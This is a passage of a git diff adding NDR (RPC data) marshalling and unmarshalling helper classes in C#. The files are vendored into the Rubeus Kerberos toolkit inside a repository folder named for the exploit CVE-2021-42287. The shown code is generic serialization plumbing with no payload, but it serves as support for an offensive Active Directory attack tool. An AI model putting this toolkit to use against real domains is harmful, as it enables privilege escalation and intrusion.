(char[])chars.Clone(); + Array.Resize(ref chars, fixed_count); + } + _writer.Write(chars); + } + + public void WriteFixedPrimitiveArray(T[] array, int fixed_count) where T : struct + { + int size = NdrNativeUtils.GetPrimitiveTypeSize(); + int actual_size = array.Length * size; + byte[] total_buffer = new byte[size * fixed_count]; + Buffer.BlockCopy(array, 0, total_buffer, 0, Math.Min(actual_size, total_buffer.Length)); + Align(size); + WriteFixedByteArray(total_buffer, total_buffer.Length); + } + + public void WriteFixedStructArray(T[] arr, int actual_count) where T : INdrStructure, new() + { + using (var queue = _deferred_writes.Push()) + { + for (int i = 0; i < actual_count; ++i) + { + if (i < arr.Length) + { + WriteStructInternal(arr[i]); + } + else + { + WriteStructInternal(new T()); + } + } + } + } + + #endregion + + #region Varying Array Types + + public void WriteVaryingByteArray(byte[] array, long variance) + { + // Offset. + WriteInt32(0); + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + Array.Resize(ref array, var_int); + WriteBytes(array); + } + + public void WriteVaryingCharArray(char[] array, long variance) + { + // Offset. + WriteInt32(0); + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + Array.Resize(ref array, var_int); + WriteChars(array); + } + + public void WriteVaryingPrimitiveArray(T[] array, long variance) where T : struct + { + WriteInt32(0); + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + WriteFixedPrimitiveArray(array, var_int); + } + + public void WriteVaryingStructArray(T[] array, long variance) where T : struct, INdrStructure + { + using (var queue = _deferred_writes.Push()) + { + WriteVaryingArrayCallback(array, t => WriteStructInternal(t), variance); + } + } + + public void WriteVaryingArray(T[] array, long variance) where T : struct + { + if (typeof(T) == typeof(byte)) + { + WriteVaryingByteArray(array.Cast(), variance); + } + else if (typeof(T) == typeof(char)) + { + WriteVaryingCharArray(array.Cast(), variance); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_writes.Push()) + { + WriteVaryingArrayCallback(array, p => WriteStructInternal((INdrStructure)p), variance); + } + } + else if (typeof(T).IsPrimitive) + { + WriteVaryingPrimitiveArray(array, variance); + } + else + { + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(WriteVaryingArray)}"); + } + } + + public void WriteVaryingArrayCallback(T[] array, Action writer, long variance) + { + // Offset. + WriteInt32(0); + if (array == null) + { + array = new T[0]; + } + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + // Actual Count + WriteInt32(var_int); + for (int i = 0; i < var_int; ++i) + { + if (i < array.Length) + { + writer(array[i]); + } + else + { + writer(default); + } + } + } + + public void WriteVaryingStringArray(string[] array, Action writer, long variance) + { + // Offset. + WriteInt32(0); + // Actual Count + int var_int = (int)variance; + if (var_int < 0) + { + var_int = array.Length; + } + WriteInt32(var_int); + using (var queue = _deferred_writes.Push()) + { + WriteStringArray(array, writer, (int)variance); + } + } + + #endregion + + #region Conformant Array Types + + public void WriteConformantByteArray(byte[] array, long conformance) + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + Array.Resize(ref array, var_int); + WriteBytes(array); + } + + public void WriteConformantCharArray(char[] array, long conformance) + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + Array.Resize(ref array, var_int); + WriteChars(array); + } + + public void WriteConformantPrimitiveArray(T[] array, long conformance) where T : struct + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + WriteFixedPrimitiveArray(array, var_int); + } + + public void WriteConformantStructArray(T[] array, long conformance) where T : struct, INdrStructure + { + using (var queue = _deferred_writes.Push()) + { + WriteConformantArrayCallback(array, t => WriteStructInternal(t), conformance); + } + } + + public void WriteConformantStringArray(string[] array, Action writer, long conformance) + { + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + // Max Count + WriteConformance(var_int); + using (var queue = _deferred_writes.Push()) + { + WriteStringArray(array, writer, var_int); + } + } + + public void WriteConformantArrayCallback(T[] array, Action writer, long conformance) + { + // Max Count + if (array == null) + { + array = new T[0]; + } + int var_int = (int)conformance; + if (var_int < 0) + { + var_int = array.Length; + } + WriteConformance(var_int); + + for (int i = 0; i < var_int; ++i) + { + if (i < array.Length) + { + writer(array[i]); + } + else + { + writer(default); + } + } + } + + public void WriteConformantArray(T[] array, long conformance) where T : struct + { + if (typeof(T) == typeof(byte)) + { + WriteConformantByteArray(array.Cast(), conformance); + } + else if (typeof(T) == typeof(char)) + { + WriteConformantCharArray(array.Cast(), conformance); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_writes.Push()) + { + WriteConformantArrayCallback(array, p => WriteStructInternal((INdrStructure)p), conformance); + } + } + else if (typeof(T).IsPrimitive) + { + WriteConformantPrimitiveArray(array, conformance); + } + else + { + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(WriteConformantArray)}"); + } + } + + #endregion + + #region Conformant Varying Array Types + + public void WriteConformantVaryingByteArray(byte[] array, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingByteArray(array, variance); + } + + public void WriteConformantVaryingCharArray(char[] array, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingCharArray(array, variance); + } + + public void WriteConformantVaryingPrimitiveArray(T[] array, long conformance, long variance) where T : struct + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingPrimitiveArray(array, variance); + } + + public void WriteConformantVaryingStructArray(T[] array, long conformance, long variance) where T : struct, INdrStructure + { + using (var queue = _deferred_writes.Push()) + { + WriteVaryingArrayCallback(array, t => WriteStructInternal(t), variance); + } + } + + public void WriteConformantVaryingStringArray(string[] array, Action writer, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + using (var queue = _deferred_writes.Push()) + { + WriteVaryingStringArray(array, writer, (int)variance); + } + } + + public void WriteConformantVaryingArrayCallback(T[] array, Action writer, long conformance, long variance) + { + // Max Count + int con_int = (int)conformance; + if (con_int < 0) + { + con_int = array.Length; + } + WriteConformance(con_int); + WriteVaryingArrayCallback(array, writer, variance); + } + + public void WriteConformantVaryingArray(T[] array, long conformance, long variance) where T : struct + { + if (typeof(T) == typeof(byte)) + { + WriteConformantVaryingByteArray(array.Cast(), conformance, variance); + } + else if (typeof(T) == typeof(char)) + { + WriteConformantVaryingCharArray(array.Cast(), conformance, variance); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_writes.Push()) + { + WriteConformantVaryingArrayCallback(array, p => WriteStructInternal((INdrStructure)p), conformance, variance); + } + } + else if (typeof(T).IsPrimitive) + { + WriteConformantVaryingPrimitiveArray(array, conformance, variance); + } + else + { + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(WriteConformantVaryingArray)}"); + } + } + + #endregion + + #region Public Properties + + public NdrDataRepresentation DataRepresentation { get; } + + #endregion + } +#pragma warning restore 1591 +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrPickledType.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrPickledType.cs new file mode 100644 index 0000000..66b44bb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrPickledType.cs @@ -0,0 +1,94 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.IO; +using Rubeus.Win32.Rpc; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Represents an NDR pickled type. + /// + public class NdrPickledType + { + /// + /// Constructor from a type 1 serialized buffer. + /// + /// The type 1 serialized encoded buffer. + public NdrPickledType(byte[] encoded) + { + BinaryReader reader = new BinaryReader(new MemoryStream(encoded)); + if (reader.ReadByte() != 1) + { + throw new ArgumentException("Only support version 1 serialization"); + } + if (reader.ReadByte() != 0x10) + { + throw new ArgumentException("Only support little-endian NDR data."); + } + if (reader.ReadInt16() != 8) + { + throw new ArgumentException("Unexpected header length"); + } + // Padding. + reader.ReadInt32(); + int length = reader.ReadInt32(); + // Padding. + reader.ReadInt32(); + Data = reader.ReadAllBytes(length); + DataRepresentation = new NdrDataRepresentation() + { + IntegerRepresentation = NdrIntegerRepresentation.LittleEndian, + CharacterRepresentation = NdrCharacterRepresentation.ASCII, + FloatingPointRepresentation = NdrFloatingPointRepresentation.IEEE + }; + } + + internal NdrPickledType(byte[] data, NdrDataRepresentation data_representation) + { + DataRepresentation = data_representation; + if (DataRepresentation.CharacterRepresentation != NdrCharacterRepresentation.ASCII || + DataRepresentation.FloatingPointRepresentation != NdrFloatingPointRepresentation.IEEE) + { + throw new ArgumentException("Invalid data representation for type 1 serialized buffer"); + } + Data = data; + } + + internal byte[] Data { get; } + + internal NdrDataRepresentation DataRepresentation { get; } + + /// + /// Convert the pickled type to a type 1 serialized encoded buffer. + /// + /// The type 1 serialized encoded buffer. + public byte[] ToArray() + { + MemoryStream stm = new MemoryStream(); + BinaryWriter writer = new BinaryWriter(stm); + + writer.Write((byte)1); + writer.Write((byte)(DataRepresentation.IntegerRepresentation == NdrIntegerRepresentation.LittleEndian ? 0x10 : 0)); + writer.Write((short)8); + writer.Write(0xCCCCCCCCU); + + writer.Write(Data.Length); + writer.Write(0); + writer.Write(Data); + return stm.ToArray(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrPipe.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrPipe.cs new file mode 100644 index 0000000..0eb2215 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrPipe.cs @@ -0,0 +1,44 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Placeholder for a NDR pipe type. + /// + /// The base type of pipe blocks. + public class NdrPipe where T : struct + { + /// + /// Pull a block from a pipe. + /// + /// The maximum number of elements to pull. + /// The pulled block. + public T[] Pull(int count) + { + throw new NotImplementedException("Pipe support not implemented"); + } + + /// + /// Push a block to a pipe. + /// + /// The block to push. + public void Push(T[] data) + { + throw new NotImplementedException("Pipe support not implemented"); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrUnmarshalBuffer.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrUnmarshalBuffer.cs new file mode 100644 index 0000000..e1c4824 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrUnmarshalBuffer.cs @@ -0,0 +1,736 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Utilities.Text; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Rubeus.Ndr.Marshal +{ +#pragma warning disable 1591 + /// + /// A buffer to unmarshal NDR data from. + /// + /// This class is primarily for internal use only. + public class NdrUnmarshalBuffer : IDisposable + { + #region Private Members + + private readonly MemoryStream _stm; + private readonly BinaryReader _reader; + private NdrDeferralStack _deferred_reads; + private int[] _conformance_values; + private Dictionary _full_pointers; + + private string[] ReadStringArray(int[] refs, Func reader) + { + string[] ret = new string[refs.Length]; + for (int i = 0; i < refs.Length; ++i) + { + if (refs[i] == 0) + { + ret[i] = string.Empty; + } + else + { + int pos = i; + _deferred_reads.Add(() => ret[pos] = reader()); + } + } + return ret; + } + + private bool SetupConformance(int dimensions) + { + if (_conformance_values == null) + { + _conformance_values = new int[dimensions]; + for (int i = 0; i < dimensions; ++i) + { + _conformance_values[i] = ReadInt32(); + } + return true; + } + return false; + } + + private int[] ReadConformance(int dimensions) + { + int[] ret; + if (_conformance_values != null) + { + System.Diagnostics.Debug.Assert(_conformance_values.Length == dimensions); + ret = _conformance_values; + _conformance_values = null; + } + else + { + ret = new int[dimensions]; + for (int i = 0; i < dimensions; ++i) + { + ret[i] = ReadInt32(); + } + } + return ret; + } + + private T ReadFullPointer(int referent, Func unmarshal_func) + { + if (!_full_pointers.ContainsKey(referent)) + { + _full_pointers[referent] = unmarshal_func(); + } + + return (T)_full_pointers[referent]; + } + + private T ReadStructInternal() where T : new() + { + INdrStructure s = (INdrStructure)new T(); + Align(s.GetAlignment()); + s.Unmarshal(this); + return (T)s; + } + + private void Align(int alignment) + { + _stm.Position += NdrNativeUtils.CalculateAlignment((int)_stm.Position, alignment); + System.Diagnostics.Debug.WriteLine($"Pos: {_stm.Position} - Align: {alignment}"); + } + + #endregion + + #region Constructors + public NdrUnmarshalBuffer(byte[] buffer, NdrDataRepresentation data_represenation) + { + _stm = new MemoryStream(buffer); + _reader = new BinaryReader(_stm, Encoding.Unicode); + _deferred_reads = new NdrDeferralStack(); + _full_pointers = new Dictionary(); + CheckDataRepresentation(data_represenation); + } + public NdrUnmarshalBuffer(byte[] buffer) + : this(buffer, new NdrDataRepresentation()) + { + } + + + public NdrUnmarshalBuffer(NdrPickledType pickled_type) + : this(pickled_type.Data, pickled_type.DataRepresentation) + { + } + + #endregion + + #region Misc Methods + + public NdrContextHandle ReadContextHandle() + { + int attributes = ReadInt32(); + Guid uuid = ReadGuid(); + return new NdrContextHandle(attributes, uuid); + } + + public NdrUnsupported ReadUnsupported(string name) + { + throw new NotImplementedException($"Reading type {name} is unsupported"); + } + + public NdrEmpty ReadEmpty() + { + return new NdrEmpty(); + } + + public NdrInterfacePointer ReadInterfacePointer() + { + return ReadStruct(); + } + + public NdrPipe ReadPipe() where T : struct + { + throw new NotImplementedException("Pipe support is not implemented"); + } + + internal static void CheckDataRepresentation(NdrDataRepresentation data_represenation) + { + if (data_represenation.IntegerRepresentation != NdrIntegerRepresentation.LittleEndian || + data_represenation.FloatingPointRepresentation != NdrFloatingPointRepresentation.IEEE || + data_represenation.CharacterRepresentation != NdrCharacterRepresentation.ASCII) + { + throw new ArgumentException("Unsupported NDR data representation"); + } + } + + #endregion + + #region Primitive Types + + public byte ReadByte() + { + return _reader.ReadByte(); + } + + public sbyte ReadSByte() + { + return _reader.ReadSByte(); + } + + public short ReadInt16() + { + Align(2); + return _reader.ReadInt16(); + } + + public ushort ReadUInt16() + { + Align(2); + return _reader.ReadUInt16(); + } + + public int ReadInt32() + { + Align(4); + return _reader.ReadInt32(); + } + + public uint ReadUInt32() + { + Align(4); + return _reader.ReadUInt32(); + } + + public long ReadInt64() + { + Align(8); + return _reader.ReadInt64(); + } + + public ulong ReadUInt64() + { + Align(8); + return _reader.ReadUInt64(); + } + + public float ReadFloat() + { + Align(4); + return _reader.ReadSingle(); + } + + public NdrInt3264 ReadInt3264() + { + return new NdrInt3264(ReadInt32()); + } + + public NdrUInt3264 ReadUInt3264() + { + return new NdrUInt3264(ReadUInt32()); + } + + public double ReadDouble() + { + Align(8); + return _reader.ReadDouble(); + } + + public char ReadChar() + { + Align(2); + return _reader.ReadChar(); + } + + public NdrEnum16 ReadEnum16() + { + return ReadInt16(); + } + + #endregion + + #region Fixed Array Types + + public byte[] ReadFixedByteArray(int count) + { + byte[] ret = _reader.ReadBytes(count); + if (ret.Length < count) + { + throw new EndOfStreamException(); + } + return ret; + } + + public char[] ReadFixedCharArray(int count) + { + char[] chars = _reader.ReadChars(count); + if (chars.Length < count) + { + throw new EndOfStreamException(); + } + return chars; + } + + public T[] ReadFixedPrimitiveArray(int actual_count) where T : struct + { + int size = NdrNativeUtils.GetPrimitiveTypeSize(); + Align(size); + byte[] total_buffer = ReadFixedByteArray(size * actual_count); + T[] ret = new T[actual_count]; + Buffer.BlockCopy(total_buffer, 0, ret, 0, total_buffer.Length); + return ret; + } + + public T[] ReadFixedArray(Func reader, int actual_count) + { + T[] ret = new T[actual_count]; + for (int i = 0; i < actual_count; ++i) + { + ret[i] = reader(); + } + return ret; + } + + public T[] ReadFixedStructArray(int actual_count) where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadFixedArray(ReadStruct, actual_count); + } + } + + #endregion + + #region Conformant Array Types + + public byte[] ReadConformantByteArray() + { + int max_count = ReadConformance(1)[0]; + return ReadFixedByteArray(max_count); + } + + public char[] ReadConformantCharArray() + { + int max_count = ReadConformance(1)[0]; + return ReadFixedCharArray(max_count); + } + + public T[] ReadConformantPrimitiveArray() where T : struct + { + int max_count = ReadConformance(1)[0]; + return ReadFixedPrimitiveArray(max_count); + } + + public T[] ReadConformantArrayCallback(Func reader) + { + int max_count = ReadConformance(1)[0]; + T[] ret = new T[max_count]; + for (int i = 0; i < max_count; ++i) + { + ret[i] = reader(); + } + return ret; + } + + public T[] ReadConformantStructArray() where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantArrayCallback(() => ReadStructInternal()); + } + } + + public string[] ReadConformantStringArray(Func reader) + { + using (var queue = _deferred_reads.Push()) + { + return ReadStringArray(ReadConformantArrayCallback(ReadInt32), reader); + } + } + + public T[] ReadConformantArray() where T : struct + { + if (typeof(T) == typeof(byte)) + { + return ReadConformantByteArray().Cast(); + } + else if (typeof(T) == typeof(char)) + { + return ReadConformantCharArray().Cast(); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantArrayCallback(ReadStructInternal); + } + } + else if (typeof(T).IsPrimitive) + { + return ReadConformantPrimitiveArray(); + } + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(ReadConformantArray)}"); + } + + #endregion + + #region Varying Array Types + + public byte[] ReadVaryingByteArray() + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + byte[] ret = new byte[offset + actual_count]; + if (_stm.Read(ret, offset, actual_count) != actual_count) + { + throw new EndOfStreamException(); + } + + return ret; + } + + public char[] ReadVaryingCharArray() + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + if (offset == 0) + { + return ReadFixedCharArray(actual_count); + } + + char[] tmp = ReadFixedCharArray(actual_count); + char[] ret = new char[offset + actual_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadVaryingPrimitiveArray() where T : struct + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + T[] tmp = ReadFixedPrimitiveArray(actual_count); + T[] ret = new T[offset + actual_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadVaryingArrayCallback(Func reader) + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + T[] ret = new T[offset + actual_count]; + for (int i = 0; i < actual_count; ++i) + { + ret[i + offset] = reader(); + } + return ret; + } + + public T[] ReadVaryingStructArray() where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadVaryingArrayCallback(ReadStruct); + } + } + + public string[] ReadVaryingStringArray(Func reader) + { + using (var queue = _deferred_reads.Push()) + { + return ReadStringArray(ReadVaryingArrayCallback(ReadInt32), reader); + } + } + + public T[] ReadVaryingArray() where T : struct + { + if (typeof(T) == typeof(byte)) + { + return ReadVaryingByteArray().Cast(); + } + else if (typeof(T) == typeof(char)) + { + return ReadVaryingCharArray().Cast(); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_reads.Push()) + { + return ReadVaryingArrayCallback(ReadStructInternal); + } + } + else if (typeof(T).IsPrimitive) + { + return ReadVaryingPrimitiveArray(); + } + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(ReadVaryingArray)}"); + } + + #endregion + + #region Conformant Varying Array Types + + public byte[] ReadConformantVaryingByteArray() + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + byte[] ret = new byte[max_count]; + if (_stm.Read(ret, offset, actual_count) != actual_count) + { + throw new EndOfStreamException(); + } + + return ret; + } + + public char[] ReadConformantVaryingCharArray() + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + + char[] tmp = ReadFixedCharArray(actual_count); + + if (max_count == actual_count && offset == 0) + { + return tmp; + } + + char[] ret = new char[max_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadConformantVaryingPrimitiveArray() where T : struct + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + + T[] tmp = ReadFixedPrimitiveArray(actual_count); + if (max_count == actual_count && offset == 0) + { + return tmp; + } + + T[] ret = new T[max_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadConformantVaryingArrayCallback(Func reader) + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + T[] ret = new T[offset + actual_count]; + for (int i = 0; i < actual_count; ++i) + { + ret[i + offset] = reader(); + } + return ret; + } + + public T[] ReadConformantVaryingStructArray() where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantVaryingArrayCallback(ReadStructInternal); + } + } + + public string[] ReadConformantVaryingStringArray(Func reader) + { + using (var queue = _deferred_reads.Push()) + { + return ReadStringArray(ReadConformantVaryingArrayCallback(ReadInt32), reader); + } + } + + public T[] ReadConformantVaryingArray() where T : struct + { + if (typeof(T) == typeof(byte)) + { + return ReadConformantVaryingByteArray().Cast(); + } + else if (typeof(T) == typeof(char)) + { + return ReadConformantVaryingCharArray().Cast(); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantVaryingArrayCallback(ReadStructInternal); + } + } + else if (typeof(T).IsPrimitive) + { + return ReadConformantVaryingPrimitiveArray(); + } + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(ReadConformantVaryingArray)}"); + } + + #endregion + + #region String Types + + public string ReadFixedString(int count) + { + return new string(ReadFixedCharArray(count)); + } + + public string ReadFixedAnsiString(int count) + { + return BinaryEncoding.Instance.GetString(ReadFixedByteArray(count)); + } + + public string ReadConformantVaryingAnsiString() + { + return BinaryEncoding.Instance.GetString(ReadConformantVaryingByteArray()).TrimEnd('\0'); + } + + public string ReadConformantVaryingString() + { + return new string(ReadConformantVaryingCharArray()).TrimEnd('\0'); + } + + public string ReadVaryingString() + { + return new string(ReadVaryingCharArray()).TrimEnd('\0'); + } + + public string ReadVaryingAnsiString() + { + return BinaryEncoding.Instance.GetString(ReadVaryingByteArray()).TrimEnd('\0'); + } + + #endregion + + #region Pointer Types + + public T? ReadReferentValue(Func unmarshal_func, bool full_pointer) where T : struct + { + int referent = ReadInt32(); + if (referent == 0) + { + return null; + } + + return full_pointer ? ReadFullPointer(referent, unmarshal_func) : unmarshal_func(); + } + + public T? ReadReferentValue(Func unmarshal_func, bool full_pointer, U arg) where T : struct + { + return ReadReferentValue(() => unmarshal_func(arg), full_pointer); + } + + public T? ReadReferentValue(Func unmarshal_func, bool full_pointer, U arg1, V arg2) where T : struct + { + return ReadReferentValue(() => unmarshal_func(arg1, arg2), full_pointer); + } + + public T ReadReferent(Func unmarshal_func, bool full_pointer) where T : class + { + int referent = ReadInt32(); + if (referent == 0) + { + return null; + } + return full_pointer ? ReadFullPointer(referent, unmarshal_func) : unmarshal_func(); + } + + public T ReadReferent(Func unmarshal_func, bool full_pointer, U arg) where T : class + { + return ReadReferent(() => unmarshal_func(arg), full_pointer); + } + + public T ReadReferent(Func unmarshal_func, bool full_pointer, U arg1, V arg2) where T : class + { + return ReadReferent(() => unmarshal_func(arg1, arg2), full_pointer); + } + + public NdrEmbeddedPointer ReadEmbeddedPointer(Func unmarshal_func, bool full_pointer) + { + int referent = ReadInt32(); + if (referent == 0) + { + return null; + } + + if (full_pointer) + { + unmarshal_func = () => ReadFullPointer(referent, unmarshal_func); + } + + var deferred_reader = NdrEmbeddedPointer.CreateDeferredReader(unmarshal_func); + _deferred_reads.Add(deferred_reader.Item2); + return deferred_reader.Item1; + } + + public NdrEmbeddedPointer ReadEmbeddedPointer(Func unmarshal_func, bool full_pointer, U arg) + { + return ReadEmbeddedPointer(() => unmarshal_func(arg), full_pointer); + } + + public NdrEmbeddedPointer ReadEmbeddedPointer(Func unmarshal_func, bool full_pointer, U arg, V arg2) + { + return ReadEmbeddedPointer(() => unmarshal_func(arg, arg2), full_pointer); + } + + #endregion + + #region Structure Types + + public Guid ReadGuid() + { + Align(4); + return new Guid(ReadFixedByteArray(16)); + } + + public T ReadStruct() where T : INdrStructure, new() + { + INdrStructure s = (INdrStructure)new T(); + bool conformant = false; + if (s is INdrConformantStructure conformant_struct) + { + conformant = SetupConformance(conformant_struct.GetConformantDimensions()); + System.Diagnostics.Debug.Assert(_conformance_values != null); + } + + T ret; + using (var queue = _deferred_reads.Push()) + { + ret = ReadStructInternal(); + } + + if (conformant) + { + System.Diagnostics.Debug.Assert(_conformance_values == null); + } + + return ret; + } + + #endregion + + #region Dispose Support + public virtual void Dispose() + { + + } + #endregion + } +#pragma warning restore 1591 +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrUnsupported.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrUnsupported.cs new file mode 100644 index 0000000..eaecbeb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrUnsupported.cs @@ -0,0 +1,26 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Place holder for unsupported types. + /// + public class NdrUnsupported + { + private NdrUnsupported() + { + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/NdrNativeUtils.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/NdrNativeUtils.cs new file mode 100644 index 0000000..fa2101b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/NdrNativeUtils.cs @@ -0,0 +1,690 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Utilities.Memory; +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; + +namespace Rubeus.Ndr +{ + internal static class NdrNativeUtils + { + internal static byte[] ReadAll(this BinaryReader reader, int length) + { + byte[] ret = reader.ReadBytes(length); + if (ret.Length != length) + { + throw new EndOfStreamException(); + } + return ret; + } + + internal static Guid ReadComGuid(this IMemoryReader reader, IntPtr p) + { + if (p == IntPtr.Zero) + { + return IID_IUnknown; + } + return new Guid(reader.ReadBytes(p, 16)); + } + + internal static T[] EnumeratePointerList(this IMemoryReader reader, IntPtr p, Func load_type) + { + List ret = new List(); + + if (p == IntPtr.Zero) + { + return new T[0]; + } + + IntPtr curr = p; + IntPtr value = IntPtr.Zero; + while ((value = reader.ReadIntPtr(curr)) != IntPtr.Zero) + { + ret.Add(load_type(value)); + curr += reader.PointerSize; + } + return ret.ToArray(); + } + + internal static T[] EnumeratePointerList(this IMemoryReader reader, IntPtr p) where T : struct + { + return EnumeratePointerList(reader, p, i => reader.ReadStruct(i)); + } + + internal static T[] ReadPointerArray(this IMemoryReader reader, IntPtr p, int count, Func load_type) + { + T[] ret = new T[count]; + if (p == IntPtr.Zero) + { + return ret; + } + + for (int i = 0; i < count; ++i) + { 